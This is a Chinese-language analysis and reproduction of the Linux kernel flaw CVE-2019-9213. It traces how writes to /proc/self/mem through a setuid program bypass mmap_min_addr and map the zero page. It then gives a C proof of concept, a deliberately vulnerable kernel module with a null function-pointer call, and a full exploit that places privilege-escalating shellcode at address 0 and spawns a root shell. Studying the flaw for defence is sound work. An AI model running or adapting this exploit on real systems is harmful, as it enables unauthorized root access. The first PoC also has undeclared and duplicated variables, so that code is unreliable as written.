CVE-2019-9213 漏洞分析及复现
1. 漏洞简介
是一个linux 内核中可以映射用户空间的0地址漏洞,绕过了kernel对用户空间内存映射地址的最低限制mmap_min_addr
,可以往用户空间的0地址进行写数据,可配合kernel中的null pointere dereference漏洞来进行提权。
允许的映射最低地址
mmap_min_addr
可通过cat /proc/sys/vm/mmap_min_addr
查看,需要root权限
2. 漏洞点简要分析
expand_downwards
函数的作用是将用户空间的vma向低地址扩展指定地址,进行地址扩展前,会使用security_mmap_addr()
函数来检查当前进行有没有权限向更低的地址映射,这里可以用su
命令进行绕过,因为su
命令带有s
标志位,执行时会继承root权限。
int expand_downwards(struct vm_area_struct *vma,
unsigned long address)
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
int error;
address &= PAGE_MASK;
error = security_mmap_addr(address);//<------- can be bypass to map 0 address
if (error)
return error;
/* Enforce stack_guard_gap */
prev = vma->vm_prev;
}
...
static inline int security_mmap_addr(unsigned long addr)
{
return cap_mmap_addr(addr);
}
...
int cap_mmap_addr(unsigned long addr)
{
int ret = 0;
if (addr < dac_mmap_min_addr) {
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT); // <-------使用su命令来绕过
/* set PF_SUPERPRIV if it turns out we allow the low mmap */
if (ret == 0)
current->flags |= PF_SUPERPRIV;
}
return ret;
}
3. 漏洞详细分析
3.1 调用链
我们根据漏洞函数expand_downwards
,来寻找一条可行的函数调用链,来实际的触发此函数。这里寻找到的一条调用链如下:
3.2 调用链入口分析
linux kernel中对进程的文件操作的接口位于fs/proc/base.c
中,里面为每一类进程的操作使用file_operations
结构体实现了接口,比如对进程的内存进行操作接口为:
其对应的文件为/proc/self/mem
文件,对此文件的读、写、寻址等操作均有对应的函数实现。
同理,对于此进程的其他对象,比如环境变量environ
,在此文件中均实现有对应的接口。
3.2 触发路径理解及分析
static ssize_t mem_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, (char __user*)buf, count, ppos, 1);
}
mem_write
函数参数理解:
- file: 要写的文件指针
- buf: 要写入内核的用户态的内存
- count: 写入数据的长度
- ppos: 要写入文件的位置
可以看见,mem_wirte
只是mem_rw
的一个封装函数。
mem_rw
函数首先申请一个新的内核buf,将用户数据拷贝进去,然后调用access_remote_vm
函数来访问远程进程对应的地址。
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
page = (char *)__get_free_page(GFP_KERNEL);//<--申请一个新的内核页>
if (!page)
return -ENOMEM;
flags = FOLL_FORCE | (write ? FOLL_WRITE : 0);//<--设置可写flag>
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);
if (write && copy_from_user(page, buf, this_len)) { //<--将用户buf的数据拷贝到内核页中>
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, flags);//<--访问另一个进程的地址空间,将数据写进对应的地址中去>
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page);
return copied;
}
这里详细说明下,现在进程的情况,什么是远程进程?为什么要去修改远程的进程?
在linux 的/proc目录下记录着每个进程的文件结构信息,每个进程都有一个pid值,可通过echo $PPID
查看,如下图中,我的shell的进程id为3367。
而/proc/self目录是自身进程文件目录的软链接,可以通过访问它,来快捷的访问自身进程得到数据结构,如下图所示。
因为每个进程都有对应的进程数据结构目录,我们想要修改mem属性的那个进程,就被称作为远程进程。 所以,在内核中,它需要找到对应进程的文件来进行修改。
接下来,这个函数获得当前进程的地址空间信息,来根据要访问的文件地址获得其对应的虚拟内存页面,然后将虚拟内存页面映射到用户可访问的地址中,最后再写入用户buf中的数据。
int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;
ret = get_user_pages_remote(tsk, mm, addr, 1,
gup_flags, &page, &vma, NULL);//<--根据要写的文件addr来获得其对应的虚拟内存页面>
if (ret <= 0) {
#ifndef CONFIG_HAVE_IOREMAP_PROT
...
#endif
} else {
bytes = len;
offset = addr & (PAGE_SIZE-1);
if (bytes > PAGE_SIZE-offset)
bytes = PAGE_SIZE-offset;
maddr = kmap(page); //<---将获得的虚拟内存页面映射到用户地址中去>
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);//<---将用户buf写入到映射得到的地址中>
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);//<--解除此虚拟内存页面的映射>
put_page(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
设置FOLL_REMOTE
flag
long get_user_pages_remote(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *locked)
{
return __get_user_pages_locked(tsk, mm, start, nr_pages, pages, vmas,
locked,
gup_flags | FOLL_TOUCH | FOLL_REMOTE);
}
调用__get_user_pages
函数,直到获得对应的page。
static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
struct mm_struct *mm,
unsigned long start,
unsigned long nr_pages,
struct page **pages,
struct vm_area_struct **vmas,
int *locked,
unsigned int flags)
{
pages_done = 0;
lock_dropped = false;
for (;;) {
ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
vmas, locked); //<--被调用>
if (!locked)
/* VM_FAULT_RETRY couldn't trigger, bypass */
return ret;
}
}
在这一步中,start就是之前要写文件对应的addr,遍历当前进程空间中所有的vitual memory area (vma),直到找到一块符合的空间。而vma其实就是内存映射,可通过cat /proc/$pid/maps
查看
static long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;
/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) {
vma = find_extend_vma(mm, start); //寻找一块addr所对应的虚拟内存块
if (!vma && in_gate_area(mm, start)) {
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
goto out;
ctx.page_mask = 0;
goto next_page;
}
}
return i ? i : ret;
}
struct vm_area_struct *
find_extend_vma(struct mm_struct *mm, unsigned long addr)// 假设这里传入的addr=0
{
struct vm_area_struct *vma;
unsigned long start;
addr &= PAGE_MASK;
vma = find_vma(mm, addr); //找到一块 addr <= vma->end的空间
if (!vma)
return NULL;
if (vma->vm_start <= addr)
return vma;
if (!(vma->vm_flags & VM_GROWSDOWN)) //如果设置了VM_GROWSDOWN,就会向低地址扩展
return NULL;
start = vma->vm_start;
if (expand_stack(vma, addr)) // 向低地址扩展,直到扩展到addr (0)
return NULL;
if (vma->vm_flags & VM_LOCKED)
populate_vma_page_range(vma, addr, start, NULL);
return vma;
}
最后,来到了我们的漏洞触发点,返回了一块可写的0地址开头的空间。
int expand_stack(struct vm_area_struct *vma, unsigned long address)
{
return expand_downwards(vma, address);
}
4. 漏洞利用及分析
4.1 漏洞触发思路
此漏洞的调用链很长,但是直到最后漏洞触发点,理解起来并不复杂,主要过程是:
- 先将user buf拷贝到kernel buf->
- 找到file 偏移对应的内存地址->
- 使用
su
命令特权绕过dac_mmap_min_addr
的限制-> - 扩展vma到用户指定低地址->
- 将kernel buf中数据拷贝到文件对应地址。
这样就实现了对用户空间0地址的数据写入。
4.2 POC
#include <stdio.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
int main() {
//先获得一块此程序进程的允许的最低内存映射,添加MAP_GROWSDOWN FLAG以允许向低地址扩张
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|
PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
//获得一个此进程mem文件的文件指针
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
unsigned long addr = (unsigned long) map;
while (addr)
{
addr -= 0x1000; // 页面是0x1000对齐的,每次递减,来获得0地址页面
if (lseek(fd, addr, SEEK_SET) == -1)// 当将此文件的文件指针设置到addr地址
err(2, "lseek failed");
//调用su命令进行特权绕过,并使用LD_DEBUG生成一些数据进行写入,触发漏洞时,写入文件的addr为0
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
//输出当前进程的内存映射,来证明映射到了0地址
system("head -n1 /proc/$PPID/maps");
//输出0地址中的内容
printf("contents:%s\n",(char *)1);
}
运行展示图
其中,运行LD_DEBUG=help su 1
命令时,输出的数据为”Valid …..”
而上图中,我们输出的16进制数字,对应的就是”Vali”
4.3 漏洞利用提权
首先自己写一个存在空指针解引用问题的模块
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
static struct proc_dir_entry* proc_entry;
static ssize_t custom_read(struct file* file, char __user* user_buffer, size_t count, loff_t* offset)
{
my_funptr(); //---->Null pointer Dereference
return 0;
}
static struct file_operations fops =
{
.owner = THIS_MODULE,
.read = custom_read
};
// Custom init and exit methods
static int __init custom_init(void) {
proc_entry = proc_create("helloworlddriver", 0666, NULL, &fops);
printk(KERN_INFO "Hello world driver loaded.");
return 0;
}
static void __exit custom_exit(void) {
proc_remove(proc_entry);
printk(KERN_INFO "Goodbye my friend, I shall miss you dearly...");
}
module_init(custom_init);
module_exit(custom_exit);
然后更新exp,当然这里是把SMEP给关掉的,不然会被拦截:
#include<stdio.h>
#include<sys/mman.h>
#include<err.h>
#include<fcntl.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
/*
0: 48 31 c0 xor %rax,%rax
3: 48 31 ff xor %rdi,%rdi
6: e8 85 1b 08 81 callq ffffffff81081b90 <_end+0xffffffff80e81b78>
b: 48 89 c7 mov %rax,%rdi
e: e8 dd 17 08 81 callq ffffffff810817f0 <_end+0xffffffff80e817d8>
13: c3 retq
*/
char payload[] = "\x48\x31\xc0\x48\x31\xff\xe8\x85\x1b\x08\x81\x48\x89\xc7\xe8\xdd\x17\x08\x81\xc3";
int main()
{
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED,-1,0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1,"open");
unsigned long addr = (unsigned long)map;
while(addr != 0){
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help passwd 1>&%d", fd);
system(cmd);
}
printf("addr finished: %x!\n",addr);
system("head -n10 /proc/$PPID/maps");
printf("data at NULL: 0x%x\n", *(unsigned long*)0);
memcpy(0,payload,sizeof(payload));
printf("data at NULL:0x%x\n", *(unsigned long*)0);
fd = open("/proc/helloworlddriver", 0);
char* buf[20];
read(fd,buf,20);
system("/bin/sh");
}
提权效果示意图